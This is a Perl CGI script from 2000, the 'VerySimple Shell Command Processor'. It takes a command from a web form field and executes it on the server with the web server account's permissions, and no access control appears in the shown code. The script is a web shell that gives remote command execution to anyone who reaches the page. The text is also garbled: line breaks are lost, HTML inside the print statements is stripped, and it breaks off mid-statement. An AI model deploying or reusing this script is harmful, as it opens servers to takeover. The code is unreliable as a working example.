#!/usr/bin/perl -w # ---------------------------------------------------------------------------- # Shell.pl v 1.3 Modified 11/10/00 # Copyright (c) 2000 Jason M. Hinkle. All rights reserved. This script is # free software; you may redistribute it and/or modify it under the same # terms as Perl itself. For information: http://www.verysimple.com/scripts/ # # LEGAL DISCLAIMER: This software is provided as-is. Use it at your own risk. # The author takes no responsibility for any damages or losses directly or # indirectly caused by this software. # ---------------------------------------------------------------------------- # re-route fatal errors $SIG{__DIE__} = \&CommandFailed; $SIG{__WARN__} = \&CommandFailed; #flush the buffer, require modules and create our objects $|++; use CGI; my ($objFormData) = new CGI; my ($VERSION) = "1.3"; my ($input) = ""; # check for form input if (defined($objFormData->param("command"))) { $input = $objFormData->param("command"); } # make it look nice &print_header(); &print_form($input); # execute the command if ($objFormData->param) { &execute_command($input); } &print_footer(); exit; #______________________________________________________________________________ sub print_form { my ($value) = shift || ""; print "This application executes commands on the server using\n"; print "the permission level of the web server account.\n"; print "See the ReadMe file about using this program on Windows servers.\n"; print "
\n"; print "
\n"; } #______________________________________________________________________________ sub print_header { print "Content-type: text/html\n\n"; print "\n"; print "\n"; print "| \n"; print "VerySimple Shell Command Processor $VERSION\n"; print " |
\n"; } #______________________________________________________________________________ sub print_footer { print "
\n"; print "
\n"; print "\n"; print "\n"; } #______________________________________________________________________________ sub execute_command { my $command = shift || ""; if ($command eq "") { print "No command submitted\n"; return 0; } if (defined($ENV{'PATH_TRANSLATED'})) { execute_win_command($command); } else { execute_unix_command($command); } } #______________________________________________________________________________ sub execute_unix_command { my $command = shift || ""; # redirect error to stdout open (STDERR, ">>&STDOUT"); print "\n"; # attempt to get the username: @output = `whoami`; print "Username: " . $output[0] . "